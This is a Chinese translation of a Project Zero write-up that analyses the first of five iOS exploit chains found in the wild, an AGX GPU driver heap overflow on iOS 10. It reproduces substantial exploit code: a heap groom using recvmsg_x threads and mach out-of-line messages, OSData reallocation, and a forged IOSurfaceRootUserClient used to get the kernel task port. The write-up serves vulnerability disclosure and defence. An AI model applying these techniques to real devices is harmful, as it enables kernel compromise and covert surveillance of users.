深入探索在野外发现的iOS漏洞利用链(一)

阅读量    70762 | 评论 1   稿费 200

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

系列前言

Project Zero的任务之一是分析0-day漏洞,我们经常与其他公司合作寻找安全漏洞并提交,最终目标是希望推动流行系统架构的安全性改进,以帮助保护遍布各处的最终用户。

在今年早些时间,Google的威胁分析团队(TAG)发现了一部分被攻击的网站。这些被攻击者入侵的网站利用iPhone的0-day漏洞对访客开展无差别的水坑攻击。

考虑到这些攻击行为没有特定目标,用户只需要访问被攻陷的网站即可导致设备被攻击,一旦攻击成功,就会安装植入的恶意监控工具。我们预计,这些网站每周会存在数千名访客用户。

威胁分析团队成功发现五个独立、完整并且独特的iPhone漏洞利用链,这些漏洞利用链覆盖从iOS 10到最新版本iOS 12的几乎所有版本。上述事实表明,可能有一个恶意组织持续致力于攻击某些社区的iPhone用户,这一过程至少长达两年之久。

我们将对漏洞的根本原因进行研究,并讨论我们在Apple的软件开发生命周期中得出的一些结论。我们在这里要强调的漏洞根本原因并不新鲜,并且经常会被忽视——在代码中,我们发现了一些似乎从未生效的代码,似乎没有经过良好的质量控制,或者在发布之前没有进行完善的测试或审查。

与威胁分析团队合作,我们根据这五个漏洞利用链发现了总共14个漏洞:7个位于iPhone的Web浏览器中,5个位于内核中,2个是单独的沙箱逃逸漏洞。经过我们的分析,发现至少有一个特权提升漏洞利用链仍然属于0-day,并且在发现时还没有发布对应的补丁(CVE-2019-7287和CVE-2019-7286)。我们在2019年2月1日向Apple报告了这些问题,导致在7天后,Apple在2月7日发布了iOS 12.1.4版本升级。我们还与Apple分享了详细信息,这些信息在2019年2月7日已经公开披露。

现在,经过近几个月来对每个漏洞利用链几乎逐字节的认真分析,我们现在已经可以分享关于iPhone漏洞利用链真实利用情况的分析。

这一系列文章将包括:

(1)五个权限提升漏洞利用链的详细分析;

(2)攻击者所使用的植入工具的详细分析,包含我们在测试设备上运行的植入工具演示,通过逆向工程分析与命令和控制(C2)服务器通信过程,演示植入工具的功能(例如:实时窃取iMessages、照片、GPS位置等个人数据);

(3)合作团队成员Samuel Groß对用于初始入口点的浏览器漏洞的分析。我们的所有分析成果,对于攻击者来说无疑是一次打击。然而,此次分析的是我们已经监测到的恶意活动,但几乎可以肯定的是,还有一些尚待发现的恶意活动。

我们建议最终用户根据这些设备的安全性情况做出风险决策。目前的情况是,如果您成为被攻击的目标,安全保护绝对不会完全消除被攻击的风险。攻击者很可能会发动针对某个地理区域或针对某个种族群体的攻击,所有人都有可能成为目标。用户应该意识到,大规模的漏洞利用仍然存在,尽管当今的现代生活已经将移动设备作为不可或缺的一部分,但大家也应该意识到移动设备也有可能受到攻击,用户的每一个行为都可能会被上传到数据库中,并有可能被攻击者滥用。

我希望大家能够对于漏洞利用开展广泛地讨论,而不仅仅关注于所谓的“价值百万的漏洞”,并尝试如何能够发现下一个潜在的“百万漏洞”。我并不会讨论这些漏洞是否价值百万或者价值千万,与此相反,我在分析的过程中不会体现出这些漏洞的经济价值,而是建议大家忽视这一点,尽可能实时发现并密切监测攻击者的完整漏洞利用活动。

本系列文章共有7篇,前5篇分别详细分析5个iOS漏洞利用链,第6篇将分析JSC漏洞利用,第7篇是对恶意植入攻击工具的详细分析,请大家持续关注。

 

本文概述

在对漏洞利用进行分析的过程中,我们发现证据表明这些漏洞利用链可能与其支持的iOS版本同时期编写。也就是说,攻击者使用的漏洞利用技术表明,这个漏洞利用是在iOS 10的时期编写的。这说明,该恶意组织至少在持续两年的时间中具有完整攻陷iPhone的能力。

这是三个漏洞利用链中的一个,我们总共发现了五个漏洞利用链,该漏洞利用链仅仅利用一个可以从Safari沙箱直接访问内核的漏洞。

 

iOS漏洞利用链#1:AGXAllocationList2::initWithSharedResourceList堆溢出

我们首先对最早发现的漏洞利用链进行分析,这是以iOS 10.0.1-10.1.1为目标的漏洞,可能自2016年9月以来就已经出现。

攻击目标:iPhone 5s到iPhone 7,运行iOS版本10.0.1 – 10.1.1

支持版本包括:

iPhone6,1 (5s, N51AP)
iPhone6,2 (5s, N53AP)
iPhone7,1 (6 plus, N56AP)
iPhone7,2 (6, N61AP)
iPhone8,1 (6s, N71AP)
iPhone8,2 (6s plus, N66AP)
iPhone8,4 (SE, N69AP)
iPhone9,1 (7, D10AP)
iPhone9,2 (7 plus, D11AP)
iPhone9,3 (7, D101AP)
iPhone9,4 (7 plus, D111AP)

各个平台之间的版本支持略有不同,具体如下:

iPhone 6,;7,;8,*:

14A403 (10.0.1 – 2016年9月13日) 这是iOS 10的第一个公开发布版本
14A456 (10.0.2 – 2016年9月23日)
14B72 (10.1 – 2016年10月24日)
14B100 (10.1.1 – 2016年10月31日)
14B150 (10.1.1 – 2016年11月9日)

iPhone 9,*:

14A403 (10.0.1 – 2016年9月13日)
14A456 (10.0.2 – 2016年9月23日)
14A551 (10.0.3 – 2016年10月17日) 这一版本仅适用于iPhone 7,用于解决蜂窝网络通信问题
14B72c (10.1 – 2016年10月24日)
14B100 (10.1.1 – 2016年10月31日)
14B150 (10.1.1 – 2016年11月9日)

第一个不受支持的版本:10.2 – 2016年12月12日

 

第一个内核漏洞

第一个内核漏洞是函数AGXAllocationList2::initWithSharedResourceList中存在的堆溢出,该函数是com.Apple.AGX kext中的一部分,这是iPhone中嵌入式GPU的驱动程序。该漏洞可以从WebContent沙箱中触发,没有独立的沙箱逃逸漏洞。

AGXAllocationList2::initWithSharedResourceList是一个C++虚拟成员方法,它接受两个参数,一个是指向IOAccelShared2对象的指针,另一个是指向IOAccelSegmentResourceListHeader对象的指针。该资源列表头部指针指向与用户空间共享的内存,其内容完全受到攻击者的控制。问题在于解析该资源列表结构的代码。结构如下所示:

其中,包含一个0x18字节的头部结构,其最后一个dword是后续子描述符结构数的计数。这些子描述符结构都是0x40字节,最后两个字节是包含在子描述符中的子条目的uint16_t计数。

子描述符包含两个数组,一个是dword资源ID值,另一个是两字节的标志。二者相互对应,第一个标志与第一个资源ID相匹配。

驱动程序从共享的内存中读取n_entries值,并将其乘以6,以确定其认为应该是所有子描述符中子资源的最大总数:

n_entries = *(_DWORD *)(shmem_ptr + 0x14);
n_max_subdescriptors = 6 * n_entries;
然后将该值乘以8,对于每个subresource_id,都将存储一个指针:
resources_buf = IOMalloc(8 * n_max_subdescriptors);
随后的代码继续解析子描述符:
n_entries = *(_DWORD *)(shmem_ptr + 0x14);
...
void* resource = NULL;
size_t total_resources = 0;
input = (struct input*)shmem_ptr;
struct sub_desc* desc = &input->descs[0];
for (i = 0; i < n_entries; i++) {
  for (int j = 0; j < desc->n_sub_entries; j+) {

    int err = IOAccelShared2::lookupResource(ioaccel_shared,
                                             desc->resource_ids[j],
                                             &resource);
    if (err) {
      goto fail;
    }

    unsigned short flags = desc->flags[j];

    if (flags_invalid(flags)) {
      goto fail;
    }
    resources_buf[total_resources++] = resource;
  }
...
}

但问题在于,代码永远不回验证每个子描述符是否最多只有6个子条目,结构中实际上有7个完全受到控制的resource_id和flag组合。该代码假设resources_buf是为每个子描述符的6个条目的边界情况分配的,因此当循环写入resources_buf时,没有进行边界检查

由于n_entries是完全受到控制的,攻击者可以控制传递给IOMalloc的大小。他们还可以控制7个子描述符,而不是6个,允许它们在目标IOMalloc分配的末尾写入受控数量的指针。这些是指向IOAccelResource2对象的指针。

需要注意的是,从共享的内存中第二次获取n_entries并非反编译器错误,它真实存在于二进制文件中。

第一次获取:

com.apple.AGX:__text:FFFFFFF006B54800 LDR  W8, [X19,#0x14]

第二次获取:

com.apple.AGX:__text:FFFFFFF006B548B4 LDR  W8, [X19,#0x14]

上述并非被利用的漏洞,事实上,直到iOS 12版本才修复这一问题。有关该问题的触发器请参阅本文附录A中的代码。需要关注的是,这意味着只需要进行少量更改,漏洞利用就可以在补丁安装后的很长时间内持续有效。漏洞利用的变种只需要使用相同的值导致相同的缓冲区溢出。

 

开始

所有漏洞利用都是通过在循环中调用task_threads(),随后调用thread_terminate(),来停止WebContent任务中所有其他正在运行的线程,并使得攻击者获得初始远程代码执行。

第一个漏洞利用链使用系统加载器来解析符号,但是没有选择链接到他们使用的IOSurface框架,因此他们选择调用dlopen()来获取IOSurface.dylib用户空间库的句柄,并通过dlsym()来解析两个函数指针(IOSurfaceCreate和IOSurfaceGetID),这些将会在以后使用。

 

系统识别

该过程将读取hw.machine sysctl变量,以获取设备模型名称(类似于“iPhone6,1”的字符串),并从CFCopySystemVersionDictionary()返回的CFDictionary中读取ProductBuildVersion值以获取操作系统版本ID。通过上述组合,攻击者可以准确地确定设备上正在运行的内核映像版本。

攻击者将这些信息整合成类似于“iPhone6,1(14A403)”的格式(iPhone 5S上运行的iOS 10.0.1)。从漏洞利用二进制文件的__DATA段中读取序列化的NSDictionary(通过[NSKeyedUnarchiver unarchiveObjectWithData:])。这个字典将支持的硬件和内核映像组合映射到指针和偏移结构中,将在稍后的漏洞利用过程中用到。

{
    "iPhone6,1(14A403)" = <a8a20700 00000000 40f60700 00000000 50885000 00000000 80a05a00 00000000 0c3c0900 00000000 c41f0800 00000000 28415a00 00000000 98085300 00000000 60f56000 00000000 005a4600 00000000 50554400 00000000 a4b73a00 00000000 00001000 00000000 50a05a00 00000000 b8a05a00 00000000 68e4fdff ffffffff>;
    "iPhone6,1(14A456)" = <a8a20700 00000000 40f60700 00000000 50885000 00000000 80a05a00 00000000 0c3c0900 00000000 c41f0800 00000000 28415a00 00000000 98085300 00000000 60f56000 00000000 005a4600 00000000 50554400 00000000 a4b73a00 00000000 00001000 00000000 50a05a00 00000000 b8a05a00 00000000 68e4fdff ffffffff>;
....}

读取hw.memsize sysctl以确定设备是否具有超过1 GB的RAM。具有1 GB RAM的设备(iPhone 5s、6、6 Plus)具有4kB物理页面大小,而具有1 GB以上RAM的设备使用16kB物理页面。这种差异非常重要,因为当物理页面大小不同时,内核区域分配器的行为略有不同。我们稍后在遇到时将会更加详细地分析二者的差异。

 

漏洞利用

攻击者打开一个IOSurfaceRootUserClient:

matching_dict = IOServiceMatching("IOSurfaceRoot");
ioservice = IOServiceGetMatchingService(kIOMasterPortDefault, matching_dict);
IOServiceOpen(ioservice,
              mach_task_self(),
              0, // the userclient type
              &userclient);

IOSurfaces是用于图形操作的缓冲区,但没有任何漏洞利用使用这一预期的功能。相反,这些漏洞利用都使用另外一个非常方便的功能:能够将任意内核OSObject与IOSurface相关联以实现Heap Grooming。

IOSurfaceSetValue的文档很好地诠释了它的功能:

该调用将允许你将CF属性列表类型附加到IOSurface缓冲区。这种调用成本较高(必须将数据序列化到内核中),因此应该尽可能避免。

这些Core Foundation属性列表对象将在用户空间中序列化,随后内核将它们反序列化为相应的OSObject类型,并将它们附加到IOSurface中:

CFDictionary -> OSDictionary
CFSet -> OSSet
CFNumber -> OSNumber
CFBoolean -> OSBoolean
CFString -> OSString
CFData -> OSData

其中,最后两种类型非常值得关注,因为它们的大小可变。通过将不同长度的CFString和CFData对象序列化为IOSurface属性,我们可以对内核堆执行相当多的控制。

更重要的是,可以通过IOSurfaceCopyValue以非破坏性的方式读取回这些属性,使其成为从内存损坏漏洞构建内存泄漏原语的绝佳目标。我们将会看到这两种技术在漏洞利用链中多次使用。

 

什么是IOKit?

IOKit是iOS中用于构建设备驱动程序的框架。它是以C++编写的,驱动程序可以利用面向对象的特性(例如继承)来帮助快速开发新代码。

以某种方式与用户空间进行通信的IOKit驱动程序包含两个主要部分:IOService和IOUserClient(通常称为用户客户端)。

IOServices可以被认为是提供驱动程序地功能。

IOUserClient是驱动程序地IOService和用户空间客户端之间的接口。每个IOService可能有大量IOUserClient,但通常每个硬件设备只有一个(或较少数量的)IOServices。

实际情况当然更加复杂,但这种简化后的说明足以帮助我们理解与攻击面相关的知识。

 

与IOKit通信

用户空间通过外部方法与IOUserClient对象进行通信。这些可以被认为是由IOUserClient对象向用户空间公开的系统调用,可以由任何对表示IOUserClient对象的mach端口具有发送权限的进程调用。外部方法已经进行编号,可以采用可变大小的输入参数。我们在后续文章需要的时候详细了解其工作原理。

让我们回到第一个漏洞利用链,看看它是如何开始的。

 

设置触发器

该过程打开一个AGXSharedUserClient:

matching_dict = IOServiceMatching("IOGraphicsAccelerator2");
agx_service = IOServiceGetMatchingService(kIOMasterPortDefault, matching_dict)
AGXSharedUserClient = 0;
IOServiceOpen(agx_service,
              mach_task_self(),
              2, // type -> AGXSharedUserClient
              &AGXSharedUserClient)

在IOKit中,用语匹配(Parlance Matching)是出于某个目的找到正确的设备驱动程序的过程。在这种情况下,使用相匹配系统打开与特定驱动程序的用户客户端的连接。

对IOServiceOpen的调用将会调用沙箱策略检查。下面是iOS上com.apple.WebKit.WebContent.sb沙箱配置文件的相关部分,它允许从MobileSafari渲染器进程内部访问此IOKit设备驱动程序:

(allow iokit-open
       (iokit-user-client-class "IOSurfaceRootUserClient")
       (iokit-user-client-class "IOSurfaceSendRight")
       (iokit-user-client-class "IOHIDEventServiceFastPathUserClient")
       (iokit-user-client-class "AppleKeyStoreUserClient")
       (require-any (iokit-user-client-class "IOAccelDevice")
                    (iokit-user-client-class "IOAccelDevice2")
                    (iokit-user-client-class "IOAccelSharedUserClient")
                    (iokit-user-client-class "IOAccelSharedUserClient2")
                    (iokit-user-client-class "IOAccelSubmitter2")
                    (iokit-user-client-class "IOAccelContext")
                    (iokit-user-client-class "IOAccelContext2"))
       (iokit-user-client-class "IOSurfaceAcceleratorClient")
       (extension "com.apple.security.exception.iokit-user-client-class")
       (iokit-user-client-class "AppleJPEGDriverUserClient")
       (iokit-user-client-class "IOHIDLibUserClient")
       (iokit-user-client-class "IOMobileFramebufferUserClient"))

AGXSharedUserClient尽管未在配置文件中明确提及,但是是被允许的,因为它继承自IOAccelSharedUserClient2。这个可读版本的沙箱配置文件是由iOS 11内核缓存中的sandblaster工具生成的。

我之前提到过,该漏洞是由内核从共享内存中读取结构而触发的,该漏洞利用的下一步是使用AGX驱动程序的外部方法接口,使用AGXSharedUserClient的外部方法6(create_shmem)分配两个共享内存区域:

create_shmem_result_size = 0x10LL;
u64 scalar_in = 4096LL; // scalar in = 大小
v42 = IOConnectCallMethod(
        AGXSharedUserClient,
        6,          // create_shmem外部方法的选择器编号
        &scalar_in, // 标量输入,值为shm大小
        1,          // 标量输入的数量
        0,
        0,
        0,
        0,
        &create_shmem_result,       // 结构输出指针
        &create_shmem_result_size); // 结构输出大小指针

IOConnectCallMethod是在用户客户端上调用外部方法的主要方法(并非唯一方法)。第一个参数是mach端口名称,它表示这一用户客户端连接。第二个是外部方法编号(称为选择器selector)。其余的参数是输入和输出。

该方法会返回一个16字节的结构输出,如下所示:

struct create_shmem_out {
void* base;
u32 size;
u32 id;
}

base是驱动程序映射共享内存的任务中的地址,size是大小,id是稍后用于引用此资源的值。

共分配了两个共享内存狳,第一个是空的,第二个包含触发器分配列表结构。

此外,还通过AGXSharedUserClient外部方法3(IOAccelSharedUserClient::new_resource)创建一个ID为3的新IOAccelResource。

 

Heap Groom

包含触发器功能的循环非常奇怪,在触发该漏洞之前,创建了大约100个线程。对我而言,当我第一次尝试确定漏洞的根本原因时,我发现该漏洞利用指向了下面两种可能性之中的一个:

(1)攻击者正在利用竞争条件漏洞中的一个;

(2)攻击者试图通过不断循环大量线程,阻止其他进程使用内核堆,从而从堆中消除噪声。

创建线程的外部循环如下:

for (int i = 0; i < constant_0x10_or_0x13 + 1; i++) {
  for ( j = 0; j < v6 - 1; ++j ){
    pthread_create(&pthread_t_array[iter_cnt],
                   NULL,
                   thread_func,
                   &domain_socket_fds[2 * iter_cnt]);
    while (!domain_socket_fds[2 * iter_cnt] ) {;};
    n_running_threads = ++iter_cnt;
     usleep(10);
  }
  send_kalloc_reserver_message(global_mach_port[i + 50],
                               target_heap_object_size,
                               1);
}

下面是传递给pthread_create的函数,很明显,这些假设都非常接近真相:

void* thread_func(void* arg) {
  int sockets[2] = {0};  

  global_running_threads++;
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
    return NULL;
  }

  char buf[256];
  struct msghdr_x hdrs[1024] = {0};

  struct iovec iov;
  iov.iov_base = buf;
  iov.iov_len = 256;

  for (int i = 0; i < constant_value_from_offsets/0x20; i++) {
    hdrs[i].msg_iov = &iov;
    hdrs[i].msg_iovlen = 1;
  }

  *(int*)arg = sockets[0];
  *((int*)arg + 1) = sockets[1];

  recvmsg_x(sockets[0], hdrs, constant_value_from_offsets/0x20, 0);

  return NULL;
}

显然,这并非共享内存漏洞的触发器。漏洞利用中也不太可能利用它们来循环CPU内核,recvmsg_x系统调用将被阻塞,直至有数据被读取时才会将CPU返回到调度程序。

我们唯一拥有的线索是循环迭代的数量由从NSArchiver解析的偏移数据结构读取的值设置。这表明,可能存在一种Heap Grooming技术。我们接下来查看一下recvmsg_x的代码,并尝试找出真正的答案。

recvmsg_x Heap Groom

recvmsg_x系统调用的原型是:

user_ssize_t recvmsg_x(int s, struct msghdr_x *msgp, u_int cnt, int flags);

msgp参数是指向msghdr_x结构数组的指针:

struct msghdr_x {
  user_addr_t msg_name;       /* optional address */
  socklen_t   msg_namelen;    /* size of address */
  user_addr_t msg_iov;        /* scatter/gather array */
  int         msg_iovlen;     /* # elements in msg_iov */
  user_addr_t msg_control;    /* ancillary data, see below */
  socklen_t   msg_controllen; /* ancillary data buffer len */
  int         msg_flags;     /* flags on received message */
  size_t      msg_datalen;    /* byte length of buffer in msg_iov */
};

Cnt参数是数组中包含的这些结构的数量。在漏洞利用中,msg_iov被设置为始终指向相同的单条目iovec,它指向256字节的栈缓冲区,且msg_iovlen被设置为1(iovec条目的数量)。

recvmsg_x系统调用在bsd/kern/uipc_syscalls.c中实现。它最初将进行三个大小可变的内核堆分配:

user_msg_x = _MALLOC(uap->cnt * sizeof(struct user_msghdr_x),
                     M_TEMP, M_WAITOK | M_ZERO);
...
recv_msg_array = alloc_recv_msg_array(uap->cnt);
...
umsgp = _MALLOC(uap->cnt * size_of_msghdr,
                M_TEMP, M_WAITOK | M_ZERO);

然后,将msgp用户空间缓冲区复制到user_msg_x缓冲区:

error = copyin(uap->msgp, umsgp, uap->cnt * size_of_msghdr);

Sizeof(user_msghdr_x结构)为0x38,size_of_msghdr同样为0x38。alloc_recv_msg_array是_MALLOC的一个简单包装器,将count乘以sizeof(recv_msg_elem结构):

struct recv_msg_elem *
alloc_recv_msg_array(u_int count)
{
  struct recv_msg_elem *recv_msg_array;

  recv_msg_array = _MALLOC(count * sizeof(struct recv_msg_elem),
                           M_TEMP, M_WAITOK | M_ZERO);

  return (recv_msg_array);
}

sizeof(recv_msg_elem结构)为0x20。重新调用Groom后的线程函数将传递一个常量除以0x20的结果,作为recvmsg_x系统调用的cnt参数,因此这很可能就是目标分配。那么,在这里面都有什么呢?

它正在分配一个recv_msg_elems结构的数组:

struct recv_msg_elem {
  struct uio *uio;
  struct sockaddr *psa;
  struct mbuf *controlp;
  int which;
  int flags;
};

这个数组将由internalize_recv_msghdr_array填充:

error = internalize_recv_msghdr_array(umsgp,
  IS_64BIT_PROCESS(p) ? UIO_USERSPACE64 : UIO_USERSPACE32,
  UIO_READ, uap->cnt, user_msg_x, recv_msg_array);

该函数为msghdr_x的输入数组中包含的每个iovec数组分配一个内核uio结构,并进行初始化:

recv_msg_elem->uio = uio_create(user_msg->msg_iovlen, 0,
    spacetype, direction);

error = copyin_user_iovec_array(user_msg->msg_iov,
spacetype, user_msg->msg_iovlen, iovp);

uio_create结构为uio结构和iovector基址和长度指针内联分配空间:

uio_t uio_create(int a_iovcount,     /* number of iovecs */
                 off_t a_offset,     /* current offset */
                 int a_spacetype,    /* type of address space */
                 int a_iodirection ) /* read or write flag */
{
  void*  my_buf_p;
  size_t my_size;
  uio_t  my_uio;
  my_size = UIO_SIZEOF(a_iovcount);
  my_buf_p = kalloc(my_size);
  my_uio = uio_createwithbuffer(a_iovcount, 
                                a_offset,
                                a_spacetype,
                                a_iodirection,
                                my_buf_p,
                                my_size );

  if (my_uio != 0) {
    /* leave a note that we allocated this uio_t */
    my_uio->uio_flags |= UIO_FLAGS_WE_ALLOCED;
  }
  return( my_uio );
}

这是UIO_SIZEOF:

#define UIO_SIZEOF( a_iovcount ) 
  ( sizeof(struct uio) + (MAX(sizeof(struct user_iovec), sizeof(struct kern_iovec)) * (a_iovcount)) )

uio结构类似如下:

struct uio {
  union iovecs uio_iovs;    /* current iovec */
  int uio_iovcnt;           /* active iovecs */
  off_t uio_offset;
  enum uio_seg uio_segflg;
  enum uio_rw uio_rw;
  user_size_t uio_resid_64;
  int uio_size;             /* size for use with kfree */
  int uio_max_iovs;         /* max number of iovecs this uio_t can hold */
  u_int32_t uio_flags;
};

这里面的信息量有些大,我们可以以图解方式来更清楚地了解:

在4k的设备上,将会启动7个线程,这将产生7个recv_msg_elem数组分配,然后它们发送一个kalloc_reserver消息,这将进行另一个目标kalloc分配,可以单独释放。

 

堆分配技术2:mach消息中的外联内存

从上图中可以看出,recv_msg_elem分配中散落着4kb kalloc分配。它们通过精心制作的mach消息进行这些分配。下面是构建和发送这些消息的函数:

struct kalloc_reserver_message {
  mach_msg_base_t msg;
  mach_msg_ool_descriptor_t desc[62];
};

int
send_kalloc_reserver_message(mach_port_t dst_port,
                             int kalloc_size,
                             int n_kallocs)
{
  struct kalloc_reserver_message msg = {0};
  char buf[0x800] = {0};

  msg.header.msgh_bits =
    MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND,
                       0,
                       0,
                       MACH_MSGH_BITS_COMPLEX);

  msg.header.msgh_remote_port = dst_port;
  msg.header.msgh_size = sizeof(mach_msg_base_t) +
                         (n_kallocs * sizeof(mach_msg_ool_descriptor_t));
  msg->body.msgh_descriptor_count = n_kallocs;

  for (int i = 0; i < n_kallocs; i++) {
    msg.descs[i].address = buf;
    msg.descs[i].size    = kalloc_size - 24;
    msg.descs[i].type    = MACH_MSG_OOL_DESCRIPTOR;
  }

  err = mach_msg(&msg.header,
                 MACH_SEND_MSG,
                 msg.header.msgh_size,
                 0, 
                 0,
                 0,
                 0);

  return (err == KERN_SUCCESS);
}

mach消息可以包含“外联数据”。这旨在用于在mach消息中发送更大的数据缓冲区,同时允许内核潜在地使用虚拟内存优化来避免复制内容到内存中。

在消息的内核处理区域中,使用以下描述符结构在mach消息中指定外联内存区域:

typedef struct {
  void*                      address;
  boolean_t                  deallocate: 8;
  mach_msg_copy_options_t    copy: 8;
  unsigned int               pad1: 8;
  mach_msg_descriptor_type_t type: 8;
  mach_msg_size_t            size;
} mach_msg_ool_descriptor_t;

address指向要在消息中发送的缓冲区的基址,size是缓冲区的长度(以字节为单位)。如果size值很小(少于两个物理页面),内存将不会尝试执行任何虚拟内存欺骗,仅仅会通过kalloc分配一个大小相同的内核缓冲区,并复制要发送的内容。

内核缓冲区的副本在最开始具有以下24字节的头部:

struct vm_map_copy {
  int type;
  vm_object_offset_t offset;
  vm_map_size_t size;
  union {
    struct vm_map_header hdr;      /* ENTRY_LIST */
    vm_object_t          object; /* OBJECT */
    uint8_t              kdata[0]; /* KERNEL_BUFFER */
  } c_u;
};

这也就是描述符中size字段减去24的原因。在整个漏洞利用链中,经常使用这种技术来进行受控大小的kalloc分配(几乎完全受控)。通过销毁发送reserver消息的端口而不接收消息,就可以导致kalloc分配被释放。

该过程会重复几次recv_msg_elem/kalloc_reserver布局,尝试提高其中一个kalloc_reservers在recv_msg_elem数组分配之前的几率。在16k设备上,一次性会启动15个线程,然后发送一个kalloc_reserver消息。这是非常正确的,因为16个目标分配大小的对象将匹配16k设备上一个目标大小的kalloc块。

随后,以与分配顺序相反的顺序释放所有kalloc_reservers(通过销毁发送消息的端口),然后重新分配其中的一般。这里的想法是尝试确保从目标kalloc.4096区域分配的下一个kalloc分配落在recv_msg_arrays之间的一个间隙中:

一旦Groom设置完成,并且在堆中打的孔(holes in the heap)位于正确的位置,就会触发该漏洞。

根据触发器资源列表的设置,它将会进行4kb kalloc分配(很可能落在其中一个间隙中),然后该漏洞将导致IOAccelResource指针被写入该缓冲区末尾的一个元素,从而破坏第一个qword下面recv_msg_elem数组的值:

如果Heap Groom成功,将会破坏其中一个uio指针,用指向IOAccelResource的指针覆盖它。

然后,在AGXSharedUserClient调用外部方法1(delete_resource),将会释放IOAccelResource。这意味着,其中一个uio指针现在指向一个释放后的IOAccelResource。

死后,使用IOSurface属性技术,在内存中使用下面的布局分配一些0x190字节的OSData对象:

u32 +0x28 = 0x190;

u32 +0x30 = 2;

构建代码如下:

  char buf[0x190];
  char key[100];

  memset(buf, 0, 0x190uLL);
  *(uint32_t*)&buf[0x28] = 0x190;
  *(uint32_t*)&buf[0x30] = 2;
  id arr = [[NSMutableArray alloc] initWithCapacity: 100];
  id data = [NSData dataWithBytes:buf length:100];
  int cnt = 2 * (system_page_size / 0x200);
  for (int = 0; i < cnt; i++) {
    [arr addObject: data];
  }

  memset(key, 0, 100;);
  sprintf(key, 0, 100, "large_%d", replacement_attempt_cnt);

  return wrap_iosurfaceroot_set_value(key, val);

在这里,试图用OSData对象重新分配释放后的内存。覆盖结构uio的那些偏移量之后,我们会发现+0x28是uio_size字段,+0x30是标志字段。2是以下UIO标志值:

#define UIO_FLAGS_WE_ALLOCED 0x00000002

因此,他们是否可以用一个完全有效的、空的UIO来取代悬空的UIO?

现在,我们面临的情况是:存在两个指向相同分配的指针,并且这两个都可以被操纵。

随后,会循环遍历在recvmsg_x调用上被阻塞的每个线程,并关闭socketpair的两端。这将导致recv_msg_elems数组中所有uio被破坏。如果这个特定的线程是分配了被堆溢出损坏的recv_msg_elems数组的线程,那么关闭这些套接字将直接导致uio被释放。请注意,现在已经将该内存重新分配为OSData对象的后备缓冲区。uio_free如下:

void uio_free(uio_t a_uio) 
{
  if (a_uio != NULL && (a_uio->uio_flags & UIO_FLAGS_WE_ALLOCED) != 0) {
    kfree(a_uio, a_uio->uio_size);
  }
}

这个虚假的uio分配被两个指针指向,分别是uio和OSData。通过释放uio,将使用悬挂的后备缓冲区指针离开OSData对象。似乎使用线程和域套接字只是一种创建堆分配的方法,它将另一个堆分配为第一个指针,可以自由控制。这是一种新的技术,但似乎非常不稳定。

在释放uio(使用悬空指针离开OSData对象)后,立即分配2页IOSurfaceRootUserClients,希望其中一个能与OSData后备缓冲区重叠(IOSurfaceRootUserClient也将从同一个kalloc.512区域分配)。随后,将(通过前面提到的IOSurfaceCopyProperty)读取所有OSData的内容,并搜索32位值0x00020002,也就是OSObject引用计数。如果找到,就证明已经成功替换,现在就已经拥有了OSData后备缓冲区内IOSurfaceRootUserClient对象的内容:

从IOSurfaceRootUserClient对象中读取vtable指针,用于通过减去vtable指针的unslide值来确定KASLR slide(从偏移字典对象中获取)。

该过程中,从IOSurfaceRootUserClient中读取了两个字段:

+0xf0 = 指向其任务结构的指针,在IOSurfaceRootUserClient::init中设置;

+0x118 = 指向this+0x110的指针,通过减去0x110来获取用户客户端的地址。

在漏洞利用中,制作了IOSurfaceRootUserClient的完整副本,并修改了两个字段。将引用计数设置为0x80008,并将指针设置为偏移量+0xe0,以指向内核数据段中kernel_task指针下方的0xBC字节。

 

内核任务端口

在XNU中,内核只是另一项任务,因此与所有其他任务一样,它也具有任务端口。任务端口是mach端口,如果我们具有发送权限,就允许完全控制该任务。在10.3之前版本的iOS中,没有减轻使用来自用户空间的内核任务端口的缓解措施,这使得其成为一个非常具有吸引力的攻击目标。如果我们可能损坏内存并获得对该端口的发送权限,那么就可以读取并写入任意内核内存。

而这就是漏洞利用要做的事情。

在漏洞利用中,释放了OSData替换器,并尝试在更多OSData对象中使用修改后的IOSurfaceRootUserClient再次重新分配。

随后,将遍历IOSurfaceRootUserClient连接端口,调用外部方法13(get_limits)。

这是get_limits实现的相关程序集。此时,X0寄存器是IOSurfaceRootUserClient,X2是IOExternalMethodArguments*,它包含外部方法的参数:

LDR     X8, [X2,#0x58] ; struct output buffer
LDR     X9, [X0,#0xE0] ; should be IOSurfaceRoot, now arbitrary
LDUR    X10, [X9,#0xBC]; controlled read at address val+0xBC
STR     X10, [X8]      ; write that value to struct output buffer
...
RET

由于攻击者使用+0xE0处的字段替换了内核数据段中kernel_task指针下方0xBC字节的指针,因此在修改1后的用户客户端上调用get_limits时,结构输出缓冲区的前8个字节中将包含内核任务结构。

在验证这8个字节后,发现它确实看上去像是内核指针。随后,就可以进行最后的替换。这次,漏洞利用替换了IOSurfaceRootUserClient中的10个字段:

OSData_kaddr是虚假用户客户端对象(以及它实际内部的OSData对象)的内核虚拟地址。

userclient_copy[0x120] = OSData_kaddr + 0x1F8;
userclient_copy[0x128] = 1;
userclient_copy[0x1F8] = OSData_kaddr + 0x1B0;
userclient_copy[0x1F0] = OSData_kaddr + 0x1A0;
userclient_copy[0x1A0] = OSData_kaddr;
userclient_copy[0x1E8] = kernel_runtime_base + offsets_9;
userclient_copy[0xA8] = kernel_runtime_base + offsets_10;
userclient_copy[0x1E0] = kernel_task + 0x90;
userclient_copy[0x1B8] = our_task_t + 0x2C0;
userclient_copy[0x1C0] = kernel_runtime_base + offsets_11;

偏移量9、10和11都是从反序列化后的NSArchiver读取。

在这里,最后一次使用iosurface属性替换技巧。随后,在悬空的IOSurfaceRootUserClient连接上调用外部方法16(get_surface_use_count)。

这里发生了什么?我们可以从外部方法自身开始,跟踪这一执行流。此时,X0指向上面看到的修改后的IOSurfaceRootUserClient对象。

IOSurfaceRootUserClient::get_surface_use_count:

STP   X22, X21, [SP,#-0x10+var_20]!
STP   X20, X19, [SP,#0x20+var_10]
STP   X29, X30, [SP,#0x20+var_s0]
ADD   X29, SP, #0x20
MOV   X20, X2
MOV   X22, X1
MOV   X19, X0
MOV   W21, #0xE00002C2
LDR   X0, [X19,#0xD8]
BL    j__lck_mtx_lock_11
LDR   W8, [X19,#0x128]         ; they set to 1
CMP   W8, W22                  ; w22 == 0?
